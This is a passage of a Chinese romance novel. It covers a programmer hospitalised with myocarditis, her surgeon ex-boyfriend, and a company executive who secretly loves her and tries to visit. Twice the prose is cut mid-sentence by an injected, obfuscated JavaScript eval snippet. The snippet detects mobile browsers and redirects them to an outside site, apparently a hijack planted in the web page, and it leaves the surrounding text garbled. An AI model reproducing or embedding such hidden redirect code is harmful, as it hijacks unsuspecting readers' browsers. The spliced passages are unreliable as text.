监控画面是不是有些失真?她好像长高了?不。她是瘦了很多。原先的鹅蛋脸现在有尖尖的下巴。从前她头顶总是毛绒绒的,她说新长出来的头发一点也不温顺,现在她头发剪短了,披在肩膀上,柔顺如水。 她和Rosy谈话时,有那么一瞬间,他觉得她的样子有些陌生,像是依托他记忆中的样子进行了许多次修改。 他回忆上一次见到她的情形,那是多久前?四年?五年?她比那时候更瘦了一点,人也显得更加沉静。 章秀钟又催他,“你到底去不去?你不去我去了?” 顾清泽弯腰,再次凑近屏幕观察,她两只手平放在桌上,右手食指轻轻敲击桌面,她感到无聊时就会无意识地这么做,他还模仿她这样子取笑她,说她在发摩斯电码,监控器镜头的像素太低,她手指又在东,一直看不清她左手有没有戴戒指。 戴了又如何? 不戴又如何? 他突然间懊恼地看了章秀钟一眼,这个唯恐天下不乱的混蛋。 混蛋笑,“你要是不想见她,我们待会儿通知她面试不成功就行了……” “你开什么玩笑?”顾清泽转过身,背对屏幕,“她是我见过的最有天赋的程序员和算法设计师。” 章秀钟轻嗤一声,“那是因为你还没见过李唯安。而且,你对她有滤镜。” 顾清泽心中像被小锤敲了一下,滤镜? “不信?去见她吧。嘿嘿,然后滤镜就会破了,你就发现,她早已泯然众人矣!再然后,你对她的迷恋一阵风似的消失,你就自由啦!” 顾清泽罕见地犹豫。 章秀钟心里哇靠了一声,这可太有意思了!太有意思了!没想到顾清泽会有这样子的时候。 顾清泽垂着眸,猛地向门口走去,像下定了某种决心。 章秀钟立刻绕到办公桌前去看屏幕,心中大呼:这下有好戏看了! 可这时,郑纶突然推门进来,顾清泽和章秀钟不约而同停顿,郑纶说了声抱歉,走到顾清泽身旁,声音压得极低说了几句话。 顾清泽脸色一变,方才的焦急忐忑化为沉肃,他看一下腕表,“现在就去机场。”他回首告诉章秀钟,“我要去墨尔本一趟。” “那——”章秀钟指指屏幕里的人。 “……等她来太平,我会见到她的。” 章秀钟回自己办公室之前去见Rosy,“陶小姐符合你的期待吗?” Rosy正在整理文件,从电脑后探出头,“超乎预期。” “你还想面试其他候选人吗?” “不用了,其他候选人的履历就远不如她——你看刚才的攻防战了么?哦算了,你看不懂。总之,她是除了唯安之外我所见过的最有天赋的算法设计师,而且你知道吗?她大学的专业是自动化!她数学建模的能力也很强,唉,我不知道方舟的管理层是脑疯了还是怎么了,竟然把这种人才扔出去……” 章秀钟打断她,“好,那就是她了。” “她最快什么时候能来上班?” “两三天后?我也不知道,得让人事部跟她确认。” Rosy点点头,“越快越好,我快忙死了……哎?顾先生休假?”日程系统弹出顾清泽不定期休假的提示,取消了他明后两天的会议。 “嗯。”章秀钟靠着门框,“他家里出了点事。” Rosy再次抬头,“什么事?” “我猜我们很快会在国际财经新闻上看到。应该是他一位叔叔因为庞氏骗局被抓了。” 6. 病来如山倒 离开太平后陶涓心情非常不错,先去超市采购一番,回家煮了一锅西班牙海鲜汤,通知曹艺萱今晚来吃饭,顺便庆祝。 虽然太平的人只说会尽快给她通知,但她有种直觉,这份工作稳了。 曹艺萱八点多才来,带了一瓶香槟,“我就说你能行!” 陶涓接过一看,“唉哟,克鲁格?先搁着,签合同之后喝。” 两人吃吃喝喝,曹艺萱说自己也有好消息,蓝总之前想争取的那个角色成功谈下来了,虽然是女三,但和她之前演过的那些傻白甜大小姐角色不一样,是个恶女,“剧本很扎实,太平牵线制作的这些网剧都以质量取胜,班底有保障。” “那不会再有人改剧本加戏了吧?” “嗐,哪有不加的?现在行业就这样,只能说太平的剧这些乱七八糟的还在可控范围内……”曹艺萱还没说完,陶涓头偏到一边捂嘴咳嗽,她咳了几下,起身去洗手间,一边走一边断断续续说,“好几天没咳嗽,我还以为要好了呢。” 听她越咳越厉害,曹艺萱不放心,跟到浴室,一摸陶涓额头,“哎呀,我的傻姐姐,你发烧了!” 陶涓早就头晕眼花,她蹲在地上,终于有点害怕,“我会不会得肺炎了?” 曹艺萱当机立断,“行了,咱们现在就去医院。”说着想把陶涓搀扶起来。 陶涓突然又一阵猛咳,喘不上气,她扶着马桶旁边的小木凳想站起来,两耳之间一阵嗡嗡蜂鸣,然后两眼一黑。 再醒来的时候已经在车里了,曹艺萱使劲按着她头顶,陶涓眨巴眨巴眼,一时没搞清情况,“你戒指挂住我头发了,揪得我头皮好疼。” 曹艺萱含着泪瞪她,“我没戴戒指!” 那怎么这么疼?陶涓感到脑门湿漉漉的,摸了一下,一看,手上全是鲜血。她从小晕血,一翻白眼又彻底黑屏了。 曹艺萱又急又怕,只能催代驾司机,“师傅,能再快点吗?” 陶涓再次恢复意识,先听到了周测的声音:“……咳嗽糖浆上怎么会没写?若症状持续请去就医——唉呀,你们俩真是……行了,你先回去吧,我在这儿看着,你也担惊受累忙了一晚上……” 陶涓急忙叫:“萱萱?”再一看,自己躺在病床上,床帘上印着安真医院的红字,周测工作的医院。 曹艺萱拉开布帘,两眼哭得红红的,陶涓握住她手,“我没事……吓着你了。” 周测冷着脸:“这叫没事?” 陶涓闭上眼睛大声呻吟,也不知道曹艺萱怎么示意的,周测冷哼一声,“我去办住院手续。” 陶涓赶紧又交待他,“千万别跟我妈说。” “知道。” 他一走,陶涓不装了,先是奇怪,“怎么还要住院?”接着抱怨曹艺萱,“你干嘛联系周测呀!” 跟周测分手快三年了,他一直不愿放弃,每年她生日照旧给送花送蛋糕到她办公室,今年国庆放假还约她出去玩,被她用工作忙推了,她想,就当朋友不咸不淡处着吧,没想到今天又要承他人情。 曹艺萱委屈,“我也不想你再跟他有瓜葛啊,可我没办法呀!你不知道当时多吓人!” 陶涓这才知道,她在浴室昏倒时撞倒了木凳,凳子上放的花盆正砸在脑袋上,曹艺萱当时都吓傻了,冷静下来先叫了个代驾司机,又跑去邻居家求助,这才把陶涓弄上车,至于怎么想到联系周测的,他是她在北市医学界唯一的人脉,此时不用更待何时? “幸好周测今天晚上值班,你昏迷的时候做过一堆检查了,周测说你是病毒性感冒引起的心肌炎,刚才抽了血,确诊了。” 曹艺萱说着,又从陶涓头发里拣出一块泥土,“唉哟天哪,刚才我好担心他们会给你头顶剃秃一块再缝针,这回家过年怎么交待啊?还好,现在用的是像订书机一样的工具,咔咔几下给你头皮钉好了。周测说两周就能长好,也不用拆线。” 陶涓脑子里乱乱的,“心肌炎?” 在周测上班这家全国顶尖的心外科医院,心肌炎算是最轻的一类病症。病人通常住院一到两周就能回家。 不过,周测告诉陶涓,她的病情稍微复杂。 他指着手机上的心脏解剖图解释,由于没及时治疗,她的心脏瓣膜现在被侵蚀出一个小洞,闭合不严,造成血液反流,所以她才会心慌、气短、乏力和平卧困难等症状。 先住院治疗,接下来定期复诊观察,三到六个月后病情稳定,再根据情况决定是否需要手术。 最理想的情况当然是不需要手术,只要后续定期观察,服用药物,如果需要手术,理想的情况是进行微创手术,不用锯断肋骨打开胸腔,从肋骨的间隙插入内窥镜修复瓣膜,如果复元情况不理想,那就要考虑进行心脏瓣膜置换手术,那就要开胸。 曹艺萱听到手术那部分就不停给周测使眼色,到这里实在忍不住了,“你吓她干什么?” 周测完全忽视曹艺萱,对陶涓宣判:“你目前的状态,不太可能会出现最后一种情况。” 看见陶涓嘴唇的颜色都发白了,曹艺萱气得恨不得打周测两下,“不太可能出现你就别说了!” “医生有义务告诉病人这些信息,而且,我了解她,她会想知道所有信息的,是吧陶涓?”周测还很有理。 陶涓勉强一笑,“嗯。” 这时进来个有点慌乱的年轻医生,“周总,13床血氧突然降到80了。” 周测依旧冷静,“血压多少?”听完跟跟陶涓挥下手,“待会儿再来看你。能睡就睡。” 他走后,曹艺萱愤愤不平,“什么周总?医院也有霸总了?嘿。” 陶涓解释:“这个‘总’是住院总医师,就是美剧医疗剧里的Chief Resident。” 曹艺萱“哼”一声,不自觉摇头,“你当初是中了什么蛊啊?会跟他谈了几年。”。 陶涓苦笑,“每个颜狗都会受到恋爱的毒打。” 曹艺萱斜着眼问她,“拿你这个颜狗被毒打后学乖了吗?” 陶涓举起两只狗爪唧唧叫了几声,“学乖了!学乖了!”一下把曹艺萱逗笑了。 周测的皮相真的长到了她的审美点上,高大,俊朗,眉眼尤其英俊,像少年漫画男主。 那时候太年轻,以为真爱一个人就会愿意做出改变,还以为足够爱就能克服一切。 结果周测没改变,她也累得再也爱不动了。 安真医院常年人满为患,也不知周测求了什么人,他走后不久,护士们给陶涓在护士站旁边的杂物间加了个床。 陶涓安慰自己,这可得满足了,也算单人间呢。 可是走廊上有灯光,有人咳嗽有人呻吟,各种医疗器械发出声音,她食指上夹着血氧监测,机器放在床尾,每隔几秒“嘀”一声。左手背上扎着点滴,她不敢翻身,困极了,累极了,却无法入睡。 快凌晨四点时周测终于回来,先看检测仪,“你怎么样?” “还行。” 他叹气,“不是我说你……” “那就别说了!”陶涓突然烦躁。 两人一起沉默一会儿,陶涓跟他道歉,“抱歉,我真的超级困,又睡不着,这会儿感觉自己像被FBI用剥夺睡眠逼供一样,心情太不好了。我都还没谢谢你。” “你和我已经要这么客气了吗?”周测再次叹气。 又一阵沉默后,他提起陶涓的输液包挂在折叠轮椅上,示意她坐上去,“走,去我值班室睡一会儿。” 周测说的值班室是医生值班宿舍,他最开始在这实习时住的是两张上下床的宿舍,现在也熬到住单间的资历了。 陶涓已经疲劳到极致,倒在床上没跟他说两句话就睡着了。 醒来时天还黑着,窗外好像有人在哭,仔细去听,又像是寒风呼啸。 她看看手背,滞留针还在,点滴管拔掉了。周测不知去了哪里。 安真医院的值班宿舍是一座很老的建筑,窗口很小,这样挺好,更方便值班医生睡觉。 刚毕业那会儿周测开始在这实习,只要她下班早就来找他吃晚饭,经常会遇到他观摩手术,后来当了住院医生,等的时间更久,有一次她坐在办公室外的长椅上睡着了,周测的同事把她领到宿舍去睡,再后来这种等待似乎渐渐成了常态,有时她到医院已经太累了,直接睡在他宿舍,没准隔天早上他还没下手术,就直接从医院去方舟上班。 回想起来,感到不可思议。 她和周测从她大二期末开始交往,到他去米兰Niguarda医院交流回国后她提出分手,他们一共在一起差不多七 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174264|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年。现在她想起来,总觉得这七年有一半时间她在等他。 早上八点后陶涓调到了单人病房,她知道周测一定费了不少事,说不定接下来几个月都要替同事处理行政文件,心里不是不感激的,可也只有感激。 她的病房离护士站很远,但每隔十几分钟就会有护士来一趟,虽说每次来必然是有正事要做,但频繁得可疑,而且每次来的人还不一样。 周测来看她的时候有几个小护士明显兴奋,在病房外看着他们,一脸“好甜!嗑到了!”的模样。 过了三十岁,旁人熬了夜都不成人形,周测却依旧倜傥,只有两腮须根更青一点,还更多了点不羁,陶涓不由感叹他真是天生要吃外科医生这碗饭。 其实也不奇怪,周测他们家是医学世家,家中亲戚至少十几位医生,不少还是领□□津贴的医学专家。 她拒绝他留下陪她,“我要补觉,你坐在这儿也要睡着的,赶快回家好好睡吧。” 周测又看看她血氧,“行吧,你多睡多休息,想吃什么微信告诉我,我下午给你送过来。”他快走出病房时又折返回来,“你要是有什么事就直接打给我,我就在悠然苑。” 陶涓打个呵欠,“行,你快走吧。” 周测在悠然苑的房子是他爸妈在他考上大学那年买的,离安真医院步行只要十五分钟。 他们对他的期待和未来职业规划从来都非常清晰。 周测走后陶涓躺着假寐,听到两个小护士窃窃私语,笑着说什么“天堂医生的女朋友”。 她猜“天堂医生”是她们给周测的代称。 手机一搜,是个日剧里的角色,演员和周测有几分神似,右眼下都有一颗泪痣。 无聊地躺了一会儿,曹艺萱来了。 她给陶涓带了换洗衣物和日用品,还有平板,“最近有个韩国恋综挺有意思,是把一群母胎单身的人扔在一起——会员我都给你开好了!待会儿你看吧。” 她把一件开衫毛衣放床头,“待会儿点滴打完,让护士帮你换上。” 陶涓昨晚穿的套头毛衣,干涸的血迹早已是棕黑色,在乳黄色毛衫上格外明显。 曹艺萱又拿小梳子细心给她梳了头,再拿湿巾擦拭伤口周围的头皮,“周测说一周后才能洗头。你中午想吃什么?我给你定。” 安真医院的心血管科在全国首屈一指,不过医院食堂的饭是真难吃。 两人又说了几句话,陶涓闭上眼睛,“我有点困。” “那你好好休息。我晚上要是能早点结束就过来看你。” “别了,我可能会一直睡。唉,我就今天早上三点多才睡着一会儿。” 曹艺萱走了,陶涓睁开眼睛。 年末曹艺萱得跟着蓝总梅姐去参加各种商务活动,明年能拿到几个角色,角色分量如何,都是什么水平的剧组,往往是这段时间里定下的。 她住的地方离安真医院不近,就算周测能开后门让她在探视时间外来,陶涓也不想让她奔波得太累。 曹艺萱今天必定是早早起床先到她家给这些日用品才来的医院,昨天睡得晚又受了惊吓,刚才眼睛还有点肿肿的。 女明星的状态、外表就是她们的简历,随时带着被人检阅,何况她后天还要去东城参加跨年晚会彩排,据说是两个女星别苗头,被她公司捡了漏,梅姐带她参加一个合唱节目,虽然只有一句歌词,对十八线小艺人来说却是难得的机会。 曹艺萱走后不久,陶涓收到了太平人事部的电话,先恭喜她获得了那份工作,问她何时能来签合同,什么时候能开始上班。 陶涓说:“对不起。” 昨天晚上她想了一夜,。 她要修养三到六个月,李唯安的宝宝都要出生了。 太平的人也很意外,但没把话说死,还问了她在哪家医院,祝她早日康复。 挂了电话,陶涓打开曹艺萱出演的网剧看了一会儿。 剧情充满打脸和反转,热闹得过分。 她按下静音,盯着天花板上床帘轨道发呆。 网上的信息和周测说的完全一致,像她这样的情况,病愈之后绝不能时常熬夜,搞不好会心肌缺血猝死。 可是,程序员的工作,大家都懂的。 接下来,她该怎么办? 7. 探病 顾清泽从墨尔本回来后章秀钟一脸高深莫测,要笑不笑憋着坏。 他按捺到中午的会议结束,“到底怎么了?” 章秀钟先长长叹一口气,才说:“她拒绝了我们的offer。” “谁?”顾清泽站起来,“为什么?” 她知道了?她知道他在太平,所以拒绝了?她果然还是没有原谅他…… 章秀钟又是一声做作的长叹,“唉,陶小姐前天病了,住院了。” 顾清泽立即看向他的秘书郑纶。 郑纶看到老板脸上指责的神色,心里大喊冤枉,他连陶小姐是谁都不知道!但他立即说:“我这就去准备……” “不用了。”顾清泽轻呼一口气,问章秀钟,“她住哪间医院?” 郑纶打电话叫司机备车,想了想又带上新来的小秘书沈峤,问她知不知道陶小姐是何方神圣。 果然,这笨蛋一脸懵。 郑纶暗自摇头,他这几天陪顾清泽去墨尔本处理家事,沈峤留守太平,竟然什么信息都没有。 原本郑纶有位搭档,大秘书陈淇。可惜,陈淇几个月前离职,去进修了,临走前推荐了沈峤。 他不明白陈淇为什么会从一众争奇斗艳的人才里提拔这个不起眼的小秘书,想到自己要跟这个没眼色色调家伙共事相当久,他越发感到无奈,“老板的事你要事事留心,做好预案,他不问也就罢了,问了,你必须得立刻给出解决方案。哪怕是个烂方案。” 沈峤小鸡啄米般点头,也不知是不是真的听进去了。 无奈何,郑纶只得求助外人。 去地库时章秀钟的秘书孙淳发来一串背景信息,陶小姐是T大毕业的,虽然是自动化专业,但是进了方舟的算法设计师培养项目,所以很可能是老板曾经的校友。 在老板去墨尔本前一天,陶小姐来太平面试李唯安副手的职位,接着又发来陶小姐住哪家医院,病房在几楼几号。 郑纶一一转发给沈峤,“看到没,你孙姐就在留心。”你个小傻蛋就没有。 总裁的秘书得是什么样的人?眼观六路耳听八方,嘴巴严,脑子活。 目前看来沈峤只有嘴巴严。 车开到一半,顾清泽忽然问沈峤,“你是北市人,知不知道哪里有卖鸢尾花?” 鸢尾是很常见的花材,稍大点的花店四季都会有这种花,可老实蛋沈峤摇头,“不知道。我很少买花。” 不过,她没笨到家,收到郑纶的死亡凝视后立刻补充:“我到小红书上查一下。” 几秒种后她报出一家附近最近的大花店的地址。 顾清泽挑了十几支紫色的香根鸢尾,犹豫一下,又加上剑兰,洋牡丹和小苍兰。 车子再次行驶,淡淡的香气很快充斥车中。他一向喜欢小苍兰和香根鸢尾的香味,可今天不知为什么会感到有点焦躁。 腹部像有根松了的弹簧,晃晃悠悠,颤颤巍巍,不算很难受,又确确实实不舒服。 幸而从花店到医院停车场只十几分钟车程。 车子还未停下,他就说:“你们在这儿等我。” 住院部并不远,可顾清泽走得喉咙发干。 刚走进住院部,他又退出来,进了旁边的超市。 他将那束花夹在腋下,两手插在大衣口袋里,在货架之间漫步一会儿找到放热水袋的货架。 说实话,一下飞机就看到陶涓和她的男朋友相拥亲吻,他先是难以置信,然后生气,但从没后悔来北市的决定。直到北市的秋天降临。 气温倒也不会比他在苏格兰上寄宿学校时更低,可是大学校园里没有暖气。 不出意外感冒了。 硬撑了几天后终于还是得去校医院,果然得到更大惊喜——校医给他打上点滴了! 在他以往的认知里,只有病得很严重才需要这样。 他推着点滴架走进专门让病人坐着打点滴的房间,真的惊喜了。 陶涓也坐在这里,也在打点滴。 她看到他也挺高兴,招手叫他过来,问他军训怎么样,能不能习惯,都选了什么课。 其实开学前陶涓来找过他,她带他去注册学籍、办学生卡、去书店买书,又陪他去宿舍,教他叠被子,“其实你们军训会学这个。” 他说他喝不惯宿舍的水,可宿舍又不让用烧水壶之类的电器,她也无奈,“北市的水确实不好喝,我会用矿泉水掺着喝。”她带他去学生超市,买一个他从未听说过的牌子,叫“泉阳泉”的矿泉水。 然后她领他去食堂吃饭,告诉他哪些食堂的饭更好吃,每个食堂都有什么特色菜。 饭吃到一半,他忽然问她:“是不是院长叫你来的?” 陶涓一愣,他立即知道答案,气得饭也不想吃了,原本计划立刻丢筷子走人的,可也不知道为什么,气哼哼盯了她一会儿最后还是窝窝囊囊没走,“要是院长不提醒你,你还会来找我吗?” 她明显心虚,“我大三了,确实很忙,可能要再见到你才会想起来‘哎呀,我应该刚开学的时候多带带你的’,可我不是故意的。” 他那口气不上不下地噎在胸口,她用夸张的讨好语气说:“原谅我吧,是我不对。我请你吃冰淇淋!” 冰淇淋也要去专门的食堂。 食堂专门开了个窗口卖冰淇淋,冰淇淋球装在纸杯里,用小木头片做的勺子吃。 陶涓买了两份,告诉他这里的冰淇淋是“平价版哈根达斯”以及北市所有高校食堂最棒的冰淇淋。 他有点怀疑。 卖冰淇淋的食堂师傅十分不专业,天晓得怎么挖的,纸杯里的冰淇淋完全不像球状,像在太空中穿梭过千万年的彗星,不过闻起来很香。 冰淇淋窗口对面,隔着一条校园小马路是旱冰场,穿着排轮冰鞋的学生在里面转来转去,马路两边是高大的白桦树,时不时飘下来几片金色的叶子。 陶涓和他坐在台阶上吃冰淇淋,偶尔骑着单车经过的人会跟她打个招呼。 冰淇淋确实和她说的一样好吃。是朗姆酒和葡萄干味的。 军训回来后,白桦树的叶子又掉了很多。 他一直等着。可陶涓又一次没有主动联系他。直到今天在点滴室相遇。 唉,其实今天也不是她主动联系他。 她在病中好像瘦了一点,肤色也白了许多,一想到她已经受了上天惩罚,那股从军训结束积累至今的怨气一下烟消云散,他问她:“你病几天了?” “一周多了!”她指指自己手背上的淤青,“打了三天吊针了。我就这样,换季就感冒,还很难好。” 她比他来得早,半小时后护士就来拆针了。 陶涓离开不久又折返回来,把她刚才抱的那只小热水袋放他左手下面,“我重新加了热水,打针这只手放在上面就不那么冷了。” 室内温度刚刚二十度,打了一会儿点滴,整只手臂都冰冷麻木。 她那个热水袋有个毛绒绒的棉套,像一只熟睡的小狗。 顾清泽从货架上拿下一只布丁狗绒毛外套的热水袋。这只布丁狗尾巴缝线有些歪斜,他抬头看看,它是最后一只。 他去收银台问:“请问这个热水袋还有吗?” 收银员扫了条码查看,“不好意思,最后一个了。” 顾清泽回到货架前,在许多草莓熊和其他可爱的小动物中犹豫,最终还是选了这只布丁狗。 陶涓喜欢布丁狗。 一向追求性价比的她曾经买过一支78元的布丁狗自动铅笔。对那时的她是一笔巨资。不过每次拿出来用都带着笑意。 她的病房在七楼。刚好赶上午休和探访时间,电梯里挤得满满的。 顾清泽盯着电梯里显示的楼层,又一次想:她病得厉害吗? 为什么那天他没看出来她病了? 如果人真是万物灵长,为什么在这种时候一点感应都没有? 电梯终于到了七楼,他看一下指示牌,向15号病房的方向走。 这间病房离护士站最远,一路走过来越来越安静,不知为何让顾清泽渐渐紧张。 离病房门口只有几米远时,他突然停住。 他怎么忘了,安真医院,就是当初周测实习的医院。 那么周测出现在这里,也是天经地义的。 顾清泽呆呆看着坐在她床边的男人,他给她拉上被子,从她发间摘掉什么,他们交谈,然后一起微笑,俊男美女,好般配的一对璧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17174265|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,一如从前。 他第一反应是背过身。 一个推着餐车的护工从他身边经过:“来给病人送午饭?” 他觉得脸颊微辣,转身就走,经过护士站时随手把花束和热水袋放在柜台上。 回到停车场,他没上车,告诉郑纶:“我要自己走一走。” 安真医院附近的马路两边种的是柳树,现在是光秃秃的,但每年春天柳絮成团成团挤在路边,午饭的时候陶涓一有空去安真医院看看周测,回到学校后头发上总会沾几朵雪花似的柳絮。 马路上有飘起白色绒絮,原来,是下雪了。 冰冷的雪花落在顾清泽脸上,他摸了摸脸颊,有种似真似幻的微微刺痛,就好像几分钟前周测又像当年那样往他脸上扔了本港媒八卦杂志。 啊,他怎么会忘了周测。 他也没忘记周测鄙夷的眼神和语气:“你想追陶涓?你怎么好意思的?顾清泽,你家乱成什么样子,你自己心里没数吗?要点脸吧。” 杂志落在地上,“啪”一下打开,忽然来的一阵风吹得书页呼啦啦翻动,顾家家族内斗的丑闻,还有他父亲顾崇峻和热门港姐候选人深夜密会的亲热照,记者们历数在这位新宠之前还出现过哪些莺莺燕燕,图文并茂,一页页在他眼前快速翻动,每页都像一个耳光打在他脸上。 周测冷笑着问他,“你知道什么是喜欢吗?你喜欢她,就把她拉进你们家那滩浑水里?你凭什么?你比我清楚吧,你们家那些烂事,可不止杂志上这些!” 周测说得对。 他凭什么把陶涓拉进他的世界里。 他连自保都费劲,怎么敢再拉上她。 周测要是知道顾家的人疯起来能干出什么事,大概不止往他脸上摔杂志。 他们连人都敢杀。 他是他们的至亲,他们能伤害他,自然也不会对她有任何怜悯。 他愣愣地看了那本杂志,顷刻之间下了决心,像是在跟周测保证,又像是跟别的什么人保证,“我会离开的。”说完,才感到胸口像压了块大石头,呼吸都困难,两颊发麻,发冷,突然间冷得打了个颤。 那些记忆又洪水一样冲过来,淹没他,无边的黑暗,冷,很冷,冷得像血都要冻结了…… 他打着冷颤,又重复一遍,“我会离开的。” 离开北市后,他在波士顿入学,与她相识的那段日子就像一段意外偏离人生轨道的轨迹。爵士乐演奏者的即兴发挥的一段乐曲。 也可能是一个梦境,一个幻想。 可回到原定轨道之后,他却常常夜不能寐,梦中反复回到T大的校园。 那也可能是平行宇宙中另一个顾清泽可能获得的幸福。 终于,他还是忍不住,给她写了封电邮。 发送之后他立即后悔了。 之后的几个小时,完全无法集中注意力,坐立不安,每隔几分钟就要刷新邮箱,幻想着她回信。又害怕她回信。 这么煎熬了一天后,没有收到回复。 没关系,可能是因为时差,她还没看到。 又过了一天。依旧没有回复。 他想,她现在在实习了吧?这个是她的私人邮箱,也许到周末才会打开。 周末很快过去了。 他从不解、困惑、期待中突然醒过来。 他走之前,抱着再也不去打扰她的想法,拉黑了她的微信,他怎么从来没想过一个可能,她会非常生气,她也可以拉黑他。所有联系方式。 她根本不会收到那封电邮。不会看到他的心意。 她永远不会知道。 她不会再和他有任何纠葛。 这个想法像雷击砸中他。 他一阵冷,又一阵热,说不清为什么,在喘不过气的难过中竟然又感到一丝幸运。 幸运? 是的。 幸好她把他拉黑了。 在他没能力处理好顾家那些事之前,不再和她有任何联系,是最好的。 雪花落在顾清泽睫毛上,他眨了眨眼,雪花融化,顺着脸颊滑落。 一阵冷,一阵热。就像当年一样。 他站在原地,仰头看着漫天飘落的雪花,用力呼吸。 8. 新年前夜 圣诞过后时钟像被调拨快了,转眼就到了新年前夜。 本该处处充满的快活的空气,可太平高层的空气却持续低压。 顾清泽的两位秘书在他探病失败当天就交换了信息。 原来他们老板和陶小姐不仅是旧识。而且还暗恋人家。 陶小姐有从大学就开始谈的男友,是位心外科医生,出身医学世家,现在已经是安真医院最年轻的住院总医师,前途无量。 郑纶原本还抱一丝希望,假如周医生秃头大肚子短腿(最好还能肥头大耳),那他们老板没准还能为爱做三。 结果一看沈峤拍的医院职工介绍上周医生的照片,当场破防:“蛙趣,证件照都这么帅!”这还有什么指望? 沈峤垂头丧气,“周医生本人我也瞧见了,唉,比这照片也就帅个十倍吧。” 章秀钟的秘书孙淳也在茶水间跟他们八卦,一定要看看顾先生传说中的情敌周医生长什么样。 她拿着手机看了会儿总结,“打眼看过去像腿长了十几二十公分的砂糖。唉,这完全挑不出毛病啊!” 沈峤沉痛点头。 “谁是砂糖?”郑纶听不懂她俩的共识。 沈峤:“一个日本男明星。” 孙淳:“这还重要吗?” 的确是不重要了。 沈峤还打听到,周医生他们家早就把婚房都买了,就在安真医院旁边。 经此一役,郑纶对沈峤另眼相看,这孩子一脸忠厚老实相,颇会打听消息。 陶涓在年初时怎么也没料到今年的最后一天要在医院度过。 这天中午一过,病人家属陆陆续续接人回家,到了晚餐时病房就剩她一个病人了。 又过了一会儿,点滴打完,护士来给她拔针,“周医生什么时候来?” 陶涓心知人家是想尽快去聚餐,便说很快就到,其实周测一小时前去了急诊。 护士刚走,曹艺萱打来电话,兴奋地告诉陶涓,她和梅姐的节目应该在10点25分播,不知道会不会有她的镜头,“哪怕只有0.01秒,也值了!” 陶涓替她高兴,“明年咱们上一整首歌的节目!” “大姐你这计划真是现实而保守,就不能说明年咱上春晚吗?” “行!上春晚!” 两人一阵笑,曹艺萱问她这几天睡得怎么样,有没有好好吃饭,陶涓说:“都好都好,你天天给我点半岛王府的外卖肉粥,我吃得还能不好?” “什么粥?” 曹艺萱那边突然有人叫她,“我得过去了,拜拜!” 曹艺萱给她点的粥和一荤一素两道菜都做得非常地道,尤其肉粥鲜甜的味道和她记忆里爸爸做的几乎一模一样。 陶涓爸爸是广府人,他享受做饭,也很擅长做饭,她从小换季时容易感冒,爸爸每次都给她做容易消化又有营养的肉粥,有时还洒上一大勺肉松,配一点点酱油,吃完全身热气腾腾,病也很快就会好了。 她裹上被子看东市跨年晚会直播,忽然想到,过了年,她就比爸爸年龄更大了。 正感到萧瑟,妈妈宋靖耘发来语音通话。 母女俩照常寒暄几句后就像无话可说。 陶涓听到妈妈那边有烟花爆竹的声音,电视里不知播的是哪一家跨年晚会,其中夹着妹妹林溪和继父的声音,可以想象其乐融融的气氛。 她刚想祝妈妈新年快乐,林溪突然大声喊,“姐,新年快乐!” 她笑着回复,“也祝你新年快乐。” 接着是继父的声音,“陶涓,新年快乐,祝你新的一年继续进步,身体健康。” 陶涓赶紧回复:“林爸,也祝你新年身体健康,工作顺利。” 林爸哈哈一笑“好好好!”又问她,“过年回家的机票买好了吗?哪一天回来?我让司机去接你。” 陶涓扯谎,“还没定下来,最近工作很紧,没准要除夕当天才能赶回来。” “年轻人也得注意作息啊……”林爸念叨她几句,又问:“周测在你旁边吗?” “他还没下手术呢。刚才急诊送来一个病人。”这倒不是假话。 林爸话头一转,“你们两个什么时候准备把人生大事给办了呀?” 陶涓不自觉假笑,“忙过这一阵再说……” 林爸还想再说什么,手机被妈妈抢回来,“涓,累了就早点回家休息吧,别再等周测了。我听你声音像是好几天没睡好。” 陶涓忽然鼻子一酸,“嗯。妈妈……新年快乐。” 北市严格禁放烟花,住院部的窗口看出去只能望见路灯和巨大的红色“急诊”灯箱。 陶涓叫了辆车,裹上羽绒服悄悄溜出医院。 家中几天没开电油汀,只比楼梯间稍微暖和些,陶涓没敢脱羽绒服,先把油汀和电暖气都开到最大档,再到厨房从冰箱里拿出啤酒零食和砂糖橘,窝在沙发上打开平板。 离曹艺萱的节目还有半小时,她拉开啤酒喝了一口,轻轻对自己说,新年快乐。 一个人也要快乐。 可能太暖和了,也可能节目太无聊,她不知不觉打了个盹,再次醒来是被舅妈陈秋英的语音通话吵醒的。 先出声的是大舅宋安耕,依旧中气十足,“涓儿,干啥呢?” 陶涓傻乐一声,“暖气太热了,我看着电视睡着了。” 舅妈在旁边说,“你在暖气片上搭个湿毛巾,不然早起该流鼻血了!明天放假吗?去超市买几盆水仙花,多加点水,屋子里也没那么干,别用空气加湿器,我看新闻上说韩国好多人用这个得肺炎的,容易长真菌还是什么……” 大舅嘟囔,“你可真啰嗦!正事还没说呢……” 舅妈:“健康的事儿怎么不是正事?涓儿从小就爱流鼻血……” 两人又拌了会儿嘴才想起所谓正事,问她定没定机票,哪天回家,他们去接,又说起陶涓表姐宋沐瑶她们油田今年放假早,再过一周就能回家了。 陶涓说:“我跟萱萱一起回,可能不坐飞机了,买卧铺回。” 周测说了,高空飞行会增加心肌炎患者缺氧的几率,两三个月内最好别坐飞机。 